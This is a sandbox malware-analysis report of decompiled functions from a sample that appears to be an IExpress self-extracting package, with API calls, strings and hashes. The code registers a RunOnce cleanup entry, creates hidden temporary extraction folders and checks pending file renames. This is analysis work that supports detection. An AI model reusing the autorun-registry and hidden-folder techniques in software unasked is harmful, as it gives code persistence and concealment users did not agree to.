Uniqueness Score: -1.00%

Function 010C202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E010C202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E010C6CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E010C171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E010C658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x10c9a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x10c91e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x10c91e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x10c91e5);
						if(_t90 != 0) {
							 *0x10c8580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
							E010C171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E010C44B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E010C658A( &_v268, 0x104, 0x10c1140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x10c8530 = _t66;
				goto L23;
			}

0x010c202a
0x010c2035
0x010c203c
0x010c2041
0x010c2050
0x010c205f
0x010c2064
0x010c206f
0x010c208c
0x010c2094
0x010c2257
0x010c2266
0x010c2266
0x010c209a
0x010c209b
0x010c209d
0x010c20aa
0x010c20af
0x010c20c9
0x010c20d1
0x00000000
0x00000000
0x010c20d3
0x010c20da
0x00000000
0x00000000
0x00000000
0x010c20da
0x010c20e2
0x010c2103
0x010c210e
0x010c2116
0x010c2122
0x010c2128
0x010c212c
0x010c2179
0x010c2194
0x010c21de
0x010c21e4
0x010c2256
0x010c2256
0x00000000
0x010c2256
0x010c2196
0x010c2196
0x010c219c
0x010c219f
0x010c219f
0x010c21a1
0x010c21a2
0x010c21a6
0x010c21a8
0x010c21b0
0x010c21b0
0x010c21b2
0x010c21b3
0x010c21bc
0x010c21c7
0x010c21cb
0x010c21f1
0x010c21f6
0x010c21fd
0x010c21ff
0x010c21ff
0x010c2204
0x010c2213
0x010c2218
0x010c221d
0x010c221d
0x010c2220
0x010c2220
0x010c2222
0x010c2223
0x010c2229
0x010c223d
0x010c2249
0x010c2250
0x00000000
0x010c2250
0x010c21d2
0x010c21d9
0x00000000
0x010c21d9
0x010c213a
0x010c2141
0x010c2144
0x010c214c
0x00000000
0x00000000
0x010c2163
0x010c2172
0x010c2172
0x00000000
0x010c2163
0x010c20ea
0x010c20f0
0x00000000

APIs

memset.MSVCRT ref: 010C2050
memset.MSVCRT ref: 010C205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 010C208C

Part of subcall function 010C171E: _vsnprintf.MSVCRT ref: 010C1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C20EA
GetSystemDirectoryA.KERNEL32 ref: 010C2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 010C2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C2144
GetSystemDirectoryA.KERNEL32 ref: 010C215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 010C223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010C2250

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 010C21F6
wextract_cleanup0, xrefs: 010C20A5, 010C20BE, 010C20F0, 010C2232
advpack.dll, xrefs: 010C2109
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C21A8, 010C2204
wextract_cleanup%d, xrefs: 010C209E
DelNodeRunDLL32, xrefs: 010C212E
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010C2082
%s /D:%s, xrefs: 010C21FF, 010C2210

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-1709460465
Opcode ID: 6e06338b3a4bccd12718eef862f43889bc38359744a9c494531049e605f331c0
Instruction ID: 5e096f3e883f4803353cffa39cfeb05f9d91d828cb1a9a4c81fa27ee135cd5aa
Opcode Fuzzy Hash: 6e06338b3a4bccd12718eef862f43889bc38359744a9c494531049e605f331c0
Instruction Fuzzy Hash: AA511375A00218AFDB309B24DC48FEE7B6CEB90B40F1041ADBEC9E7145EA7699448F60

Uniqueness

Uniqueness Score: -1.00%

Function 010C55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E010C55A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t28 ^ _t110;
				_t2 = E010C468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E010C468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x10c9a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x10c8b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x10c8a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E010C6517(_t82, 0x7d2, 0, E010C3210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x10c9a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x10c91e4;
									_t40 = GetTempPathA(0x104, 0x10c91e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E010C1781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E010C6952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E010C597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E010C2630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E010C658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x10c91e4;
																					E010C1781(0x10c91e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E010C5467(0x10c91e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E010C2630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E010C597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E010C5467(0x10c91e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x10c91e4;
											_t70 = E010C2630(0, 0x10c91e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x10c91e4;
												_t71 = E010C5467(0x10c91e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E010C597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x10c8b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E010C5467(0x10c8b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E010C44B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E010C44B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x10c9124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E010C44B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x10c9124 = E010C6285();
					L2:
					_t38 = 0;
				}
				L47:
				return E010C6CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x010c55ab
0x010c55b2
0x010c55c9
0x010c55d5
0x010c55d9
0x010c5600
0x010c5605
0x010c560a
0x010c560c
0x010c5638
0x010c5641
0x010c5643
0x010c5645
0x010c5645
0x010c564c
0x010c5652
0x010c5657
0x010c5659
0x010c5696
0x010c569c
0x010c589f
0x010c58a7
0x010c58ac
0x010c58b3
0x010c58b5
0x010c56a2
0x010c56a2
0x010c56a8
0x00000000
0x010c56ae
0x010c56ae
0x010c56b9
0x010c56bf
0x010c56c1
0x010c56f3
0x010c56f3
0x010c5705
0x010c570a
0x010c5711
0x010c5717
0x010c5724
0x010c5726
0x010c5729
0x010c5730
0x010c5737
0x010c573d
0x010c5740
0x00000000
0x00000000
0x00000000
0x00000000
0x010c572b
0x010c572b
0x010c572e
0x010c5742
0x010c5742
0x010c5745
0x010c576b
0x010c576b
0x00000000
0x010c5747
0x010c5747
0x010c574d
0x010c574f
0x010c5771
0x010c5771
0x010c5773
0x00000000
0x010c5751
0x010c5751
0x010c5753
0x00000000
0x010c5755
0x010c575b
0x010c5760
0x010c5762
0x00000000
0x010c5764
0x010c5764
0x010c5769
0x010c577e
0x010c577e
0x010c5781
0x010c5788
0x010c578d
0x010c578f
0x010c57b2
0x010c57b8
0x010c57bd
0x010c57bf
0x010c57cd
0x010c57cd
0x010c57dd
0x010c57e3
0x010c57ef
0x010c57f5
0x010c57f8
0x010c580a
0x010c580a
0x010c57fa
0x010c5802
0x010c5802
0x010c580d
0x010c580f
0x010c5830
0x010c5836
0x010c583d
0x010c584b
0x010c5851
0x010c5855
0x010c585a
0x010c585c
0x00000000
0x010c585e
0x010c585e
0x00000000
0x010c585e
0x010c5811
0x010c5817
0x010c5819
0x010c581f
0x00000000
0x010c581f
0x010c5791
0x010c5797
0x010c579c
0x010c579e
0x00000000
0x010c57a0
0x010c57a9
0x010c57ae
0x010c57b0
0x00000000
0x00000000
0x00000000
0x00000000
0x010c57b0
0x010c579e
0x00000000
0x00000000
0x00000000
0x010c5769
0x010c5762
0x010c5753
0x010c574f
0x00000000
0x00000000
0x00000000
0x010c572e
0x00000000
0x010c5864
0x010c5864
0x010c5864
0x010c5717
0x00000000
0x010c56c3
0x010c56c5
0x010c56c9
0x010c56ce
0x010c56d0
0x00000000
0x010c56d6
0x010c56d6
0x010c56d8
0x010c56dd
0x010c56df
0x00000000
0x010c56e1
0x010c56e2
0x010c56e4
0x010c56e6
0x010c56eb
0x010c56ed
0x00000000
0x010c56f3
0x010c56f3
0x00000000
0x010c586c
0x010c5878
0x010c587e
0x010c5882
0x010c5883
0x010c5889
0x010c588e
0x010c588e
0x00000000
0x010c5896
0x010c56ed
0x010c56df
0x010c56d0
0x010c56c1
0x010c56a8
0x010c565b
0x010c565b
0x010c565d
0x010c5669
0x010c5669
0x010c565f
0x010c565f
0x010c5665
0x010c5667
0x00000000
0x00000000
0x010c5667
0x010c566c
0x010c5673
0x010c5678
0x010c567a
0x010c589b
0x010c589b
0x010c5680
0x010c5685
0x010c568c
0x00000000
0x010c568c
0x010c567a
0x010c560e
0x010c5613
0x010c561a
0x010c5620
0x010c5626
0x00000000
0x010c5626
0x010c55db
0x010c55e0
0x010c55e7
0x010c55f1
0x010c55f6
0x010c55f6
0x010c55f6
0x010c58b7
0x010c58c7

APIs

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 010C55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 010C5638
LocalFree.KERNEL32(00000000), ref: 010C564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 010C5620

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Part of subcall function 010C6285: GetLastError.KERNEL32(010C5BBC), ref: 010C6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 010C571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 010C5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 010C57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 010C57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 010C5802

Part of subcall function 010C2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 010C2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 010C5830

Part of subcall function 010C6517: FindResourceA.KERNEL32(010C0000,000007D6,00000005), ref: 010C652A
Part of subcall function 010C6517: LoadResource.KERNEL32(010C0000,00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010C6538
Part of subcall function 010C6517: DialogBoxIndirectParamA.USER32(010C0000,00000000,00000547,010C19E0,00000000), ref: 010C6557
Part of subcall function 010C6517: FreeResource.KERNEL32(00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010C6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 010C5878

Part of subcall function 010C597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010C59A8
Part of subcall function 010C597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 010C59AF

Strings

<None>, xrefs: 010C5632
Z, xrefs: 010C570A
A:\, xrefs: 010C56F4
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C56AE, 010C56B3, 010C583D
msdownld.tmp, xrefs: 010C57D3
RUNPROGRAM, xrefs: 010C55BD, 010C5600

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-559629209
Opcode ID: 027df6e3eea2222926ffbab15b479a3eb66bb536b5db0c094228d1bf3ea7d120
Instruction ID: 46f276ea39477bd13d785282053d30eb576c534751355fdb18af8fe22329e958
Opcode Fuzzy Hash: 027df6e3eea2222926ffbab15b479a3eb66bb536b5db0c094228d1bf3ea7d120
Instruction Fuzzy Hash: 0B812778B042059ADB719B799C44BEF76ADAB64B40F0001ADF5C6E3181EE74ADC58F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010C53A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E010C171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E010C1680(_t32, 0x104, _t20);
					E010C658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E010C6CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x10c8a20 = 1;
				goto L5;
			}

0x010c53ac
0x010c53b3
0x010c53b9
0x010c53bb
0x010c53bd
0x010c53bf
0x010c53d1
0x010c53d6
0x010c53e0
0x010c53e2
0x010c53f5
0x010c53fb
0x010c5402
0x010c540b
0x00000000
0x00000000
0x010c5413
0x00000000
0x00000000
0x010c5415
0x010c5416
0x010c5427
0x010c542a
0x010c542b
0x010c5434
0x010c5434
0x010c543a
0x010c544c
0x010c544c
0x010c5452
0x010c545a
0x00000000
0x00000000
0x010c545e
0x010c545f
0x00000000

APIs

Part of subcall function 010C171E: _vsnprintf.MSVCRT ref: 010C1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5452

Strings

IXP, xrefs: 010C5419
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C53B7, 010C53E1, 010C541E
IXP%03d.TMP, xrefs: 010C53C0

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2659685179
Opcode ID: e53b9d72768c88d7da286bf33e45aa9003f9f5f60ff538faa812171ae7b85d0f
Instruction ID: 5238f167157bb263ecfd1831a8579ae48407a87f8a429d7f48bb31c71a802bfb
Opcode Fuzzy Hash: e53b9d72768c88d7da286bf33e45aa9003f9f5f60ff538faa812171ae7b85d0f
Instruction Fuzzy Hash: C9110471700208ABE3309B269C48FEF7A6DEBD5B15F10416DF6C6D3280DE7999428FA4

Uniqueness

Uniqueness Score: -1.00%

Function 010C256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E010C256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E010C24E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x010c2572
0x010c2573
0x010c2575
0x010c2578
0x010c257d
0x010c2627
0x010c2583
0x010c2586
0x010c2589
